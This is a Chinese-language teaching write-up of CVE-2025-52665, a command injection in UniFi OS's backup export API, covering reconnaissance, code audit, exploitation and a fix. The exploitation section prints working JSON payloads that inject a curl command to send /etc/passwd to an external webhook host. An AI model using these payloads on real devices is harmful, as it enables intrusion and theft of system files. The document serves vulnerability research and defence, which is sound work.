CVE-2025-52665 RCE漏洞深度分析与复现教学<\/strong><\/h3>
文档版本：<\/strong> 1.0
发布日期：<\/strong> 2025-11-05
目标读者：<\/strong> 安全研究人员、渗透测试人员、安全开发工程师<\/p>
一、漏洞概述<\/strong><\/h4>

漏洞编号：<\/strong> CVE-2025-52665<\/li>
漏洞类型：<\/strong> 远程代码执行<\/li>
风险等级：<\/strong> 高危\/严重<\/li>
受影响组件：<\/strong> UniFi OS（特别是 UDM SE 等设备）的备份服务模块。<\/li>
漏洞位置：<\/strong> \/api\/ucore\/backup\/export<\/code> API 接口。<\/li>
核心成因：<\/strong> 用户可控的输入参数（dir<\/code>）在未经充分验证和转义的情况下，被拼接到系统 shell 命令中执行，导致命令注入。<\/li>
奖金：<\/strong> $25,000（反映了漏洞的严重性）。<\/li> <\/ol> 二、环境侦察与攻击面发现<\/strong><\/h4> 教学要点：<\/strong> 漏洞挖掘始于对目标资产的全面信息收集。<\/p> 目标识别：<\/strong><\/p> 通过常规网络扫描（如使用 nmap<\/code>）发现目标 IP 192.168.1.1<\/code> 为活动主机。<\/li> 浏览器访问该 IP，根据登录页面特征（UniFi OS 界面）确认设备型号为 UniFi Dream Machine SE<\/strong>。<\/li> <\/ul> <\/li> 攻击面枚举：<\/strong><\/p> 社区情报搜集：<\/strong> 研究人员没有盲目测试，而是先查阅了用户社区和论坛。这是关键一步，能快速定位可能存在问题的功能点。<\/li> 关键线索：<\/strong> 发现大量用户报告在与备份相关的操作中遇到 500 Internal Server Error<\/code>、ECONNREFUSED<\/code> 等错误，涉及多个组件（如 Network, Protect, UAM）。<\/li> 关键端点：<\/strong> 这些错误报告均指向一个共同的 API 端点：\/api\/ucore\/backup\/export<\/code>。<\/li> 逻辑推理：<\/strong> 备份功能通常是模块化的，需要核心服务（ucore）与各个子服务（如网络服务、保护服务）通过环回地址（127.0.0.1）进行通信。这暗示了内部存在一个复杂的 API 调用链。<\/li> <\/ul> <\/li> <\/ol> 三、代码审计与漏洞原理分析<\/strong><\/h4> 教学要点：<\/strong> 理解漏洞的根本原因需要深入分析代码逻辑。<\/p> 源码获取与分析：<\/strong><\/p> 获取目标设备的 UniFi Core 软件包，并解压分析其中的 JavaScript 文件（如 service.js<\/code>）。<\/li> <\/ul> <\/li> 关键函数追踪：<\/strong><\/p> 在代码中搜索 backup\/export<\/code> 相关的引用，定位到两个核心函数：YO<\/code> 和 zf<\/code>。<\/li> <\/ul> <\/li> 函数 YO<\/code>（低级请求函数）：<\/strong><\/p> var<\/span> YO<\/span> =<\/span> async<\/span> (e<\/span>, t<\/span>) => { <\/span><\/span> let<\/span> r<\/span> =<\/span> `http:\/\/127.0.0.1:<\/span>${<\/span>e<\/span>}<\/span>\/api\/ucore\/backup\/export`<\/span>; <\/span><\/span> let<\/span> o<\/span> =<\/span> await<\/span> k<\/span>(r<\/span>, { <\/span><\/span> method<\/span>:<\/span> "POST"<\/span>, <\/span><\/span> body<\/span>:<\/span> JSON<\/span>.stringify<\/span>({ dir<\/span>:<\/span> t<\/span> }), \/\/ 【关键点】参数 `t` 被直接序列化到请求体中，无验证。 <\/span><\/span><\/span><\/span> headers<\/span>:<\/span> { "Content-Type"<\/span>:<\/span> "application\/json"<\/span> } <\/span><\/span> }); <\/span><\/span> \/\/ ... 错误处理 ... <\/span><\/span><\/span><\/span>}; <\/span><\/span><\/code><\/pre> 功能：<\/strong> 构造一个指向内部服务（端口为 e<\/code>）的 HTTP POST 请求。<\/li> 参数：<\/strong> e<\/code>：目标子服务（如网络服务）的监听端口。<\/li> t<\/code>：备份文件输出的目录路径。<\/li> <\/ul> <\/li> 漏洞迹象：<\/strong> 参数 t<\/code> 被直接拼接到 JSON 请求体中，在此处未见任何过滤或转义。<\/li> <\/ul> <\/li> 函数 zf<\/code>（高级控制函数）：<\/strong><\/p> zf<\/span> =<\/span> async<\/span> ({ port<\/span>:<\/span> e<\/span>, outputDir<\/span>:<\/span> t<\/span>, name<\/span>:<\/span> r<\/span> }) => { <\/span><\/span> try<\/span> { <\/span><\/span> \/\/ ... 前置检查（如版本验证）... <\/span><\/span><\/span><\/span> \/\/ 决定是远程备份还是本地备份 <\/span><\/span><\/span><\/span> if<\/span> (...) { <\/span><\/span> \/\/ ... 远程备份逻辑 ... <\/span><\/span><\/span><\/span> } else<\/span> { <\/span><\/span> await<\/span> Fe<\/span>(() => YO<\/span>(e<\/span>, t<\/span>), ...); \/\/ 【关键调用】调用 YO 函数，传入 outputDir (t) <\/span><\/span><\/span><\/span> } <\/span><\/span> \/\/ ... 后置操作（检查目录、修改权限 `chmod -R 775 t`、计算大小 `du -s`）... <\/span><\/span><\/span><\/span> } catch<\/span> (o<\/span>) { <\/span><\/span> \/\/ ... 错误处理 ... <\/span><\/span><\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre> 功能：<\/strong> 备份流程的控制器，负责准备环境、调用 YO<\/code> 函数执行备份、并进行后续处理。<\/li> 关键调用：<\/strong> 它将 outputDir<\/code>（即参数 t<\/code>）直接传递给 YO<\/code> 函数。<\/li> 漏洞链条形成：<\/strong> zf<\/code> 函数接收到的 outputDir<\/code> 参数最终会流向内部 API 的 dir<\/code> 字段。<\/li> <\/ul> <\/li> 漏洞原理总结：<\/strong><\/p> 根本原因：<\/strong> 外部传入的 dir<\/code> 参数值，经过 zf<\/code> 和 YO<\/code> 函数的传递，最终被发送到内部服务 http:\/\/127.0.0.1:<port>\/api\/ucore\/backup\/export<\/code>。<\/li> 命令注入点：<\/strong> 内部服务的备份处理程序在创建临时目录、打包文件等操作时，会使用 shell 命令（如 mktemp<\/code>, chmod<\/code>, tar<\/code>）来处理 dir<\/code> 参数的值<\/strong>。<\/li> 漏洞触发：<\/strong> 由于 dir<\/code> 参数在拼接进 shell 命令前没有进行有效的验证或转义<\/strong>，如果参数中包含 shell 元字符（如 ;<\/code>, |<\/code>, `<\/code>），就会被 shell 解释为命令分隔符或新命令，从而导致任意命令执行。<\/li> <\/ul> <\/li> <\/ol> 四、漏洞利用与复现<\/strong><\/h4> 教学要点：<\/strong> 利用过程需要精确的 payload 构造和调试。<\/p> 服务发现：<\/strong><\/p> 使用端口扫描工具（如 nmap<\/code>）枚举目标设备 192.168.1.1<\/code> 上所有开放的端口。<\/li> 对每个开放的端口，发送 HTTP 请求探测 \/api\/ucore\/backup\/export<\/code> 路径。<\/li> 关键发现：<\/strong> 端口 9780<\/code> 返回了 405 Method Not Allowed<\/code>（而不是 404 Not Found<\/code>）。这表明该端口上的服务识别这个路径<\/strong>，只是当前的 HTTP 方法不正确（例如，用了 GET 而不是 POST）。这证明该端点可从网络访问。<\/li> <\/ul> <\/li> 构造初始 PoC：<\/strong><\/p> 请求方法：<\/strong> POST<\/code><\/li> URL：<\/strong> http:\/\/192.168.1.1:9780\/api\/ucore\/backup\/export<\/code><\/li> HTTP 头：<\/strong> Content-Type: application\/json<\/code><\/li> 请求体（初始）：<\/strong> { <\/span><\/span> "dir"<\/span>: "\/tmp\/catchify-lab; curl -s --data-binary @\/etc\/passwd http:\/\/your-burp-collaborator-or-webhook.site\/"<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> 利用逻辑：<\/strong> 使用分号 ;<\/code> 终止原本的目录参数，并注入一个新的 curl<\/code> 命令，试图将 \/etc\/passwd<\/code> 文件内容发送到外部服务器。<\/li> 问题：<\/strong> 此 PoC 可能失败，因为注入命令后的原始 shell 命令语法（如 tar -cf ... \/tmp\/catchify-lab; curl ...<\/code>）可能因路径错误或语法问题而中断执行。<\/li> <\/ul> <\/li> 优化 PoC（关键步骤）：<\/strong><\/p> 为了使命令注入干净利落，需要确保注入的命令执行后，后续的 shell 代码不会引发错误。<\/li> 优化后的请求体：<\/strong> { <\/span><\/span> "dir"<\/span>: "\/tmp\/catchify-; curl -s --data-binary @\/etc\/passwd http:\/\/your-burp-collaborator-or-webhook.site\/; #"<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> 优化点解释：<\/strong> ;<\/code>：正常结束前一条命令（如果存在）。<\/li> curl ...<\/code>：要执行的恶意命令。<\/li> ;<\/code>：结束 curl<\/code> 命令。<\/li> #<\/code>：将行内剩余的所有字符注释掉<\/strong>。这是最关键的一步，它确保了原始备份命令中跟在 dir<\/code> 值后面的部分（例如备份文件名等）被 shell 忽略，从而避免了语法错误。<\/li> <\/ul> <\/li> <\/ul> <\/li> 验证利用结果：<\/strong><\/p> 发送优化后的 PoC 请求。<\/li> 检查你的外部服务器（如 Burp Collaborator、Webhook.site）的日志，如果成功，你会收到一个 HTTP POST 请求，其正文内容即为目标设备的 \/etc\/passwd<\/code> 文件。这证实了 RCE 漏洞的存在。<\/li> <\/ul> <\/li> <\/ol> 五、漏洞时间线与修复<\/strong><\/h4> 报告日期：<\/strong> 2025-10-09<\/li> 修复版本：<\/strong> UniFi Access 4.0.21<\/li> 修复建议：<\/strong> 对用户输入的 dir<\/code> 参数进行严格的白名单验证<\/strong>（如只允许字母、数字、下划线和特定路径分隔符），或使用安全的编程接口<\/strong>（如 child_process.execFile<\/code> 而非 exec<\/code>）来避免命令注入。<\/li> <\/ul> 六、总结与安全启示<\/strong><\/h4> 漏洞链：<\/strong> 外部输入 -> 内部 API 转发 -> 未过滤参数 -> Shell 命令拼接 -> RCE。<\/li> 核心教训：<\/strong> 永远不要信任用户输入：<\/strong> 任何来自外部的参数都必须经过验证和净化。<\/li> 避免使用 Shell 命令处理用户输入：<\/strong> 在可能的情况下，使用语言本身的内置函数来完成文件、目录操作。如果必须调用 Shell，必须对输入进行正确的转义。<\/li> 纵深防御：<\/strong> 即使内部 API（127.0.0.1）也不应完全信任来自同一机器上其他组件的输入。<\/li> 关注错误信息：<\/strong> 公开的错误信息（如 500 错误）可能为攻击者提供有价值的线索。<\/li> <\/ul> <\/li> 研究技巧：<\/strong> 善用公开社区情报缩小攻击面。<\/li> 代码审计是理解漏洞根源的最有效手段。<\/li> PoC 构造需要耐心和细致的调试，利用注释符 #<\/code> 是解决命令注入中“命令尾部垃圾”问题的经典技巧。<\/li> <\/ul> <\/li> <\/ol> 这份教学文档详细还原了从信息收集到漏洞利用的完整链条。希望它能帮助您深入理解此类命令注入漏洞的挖掘与利用方法，并应用于实际的安全研究或防御工作中。<\/p>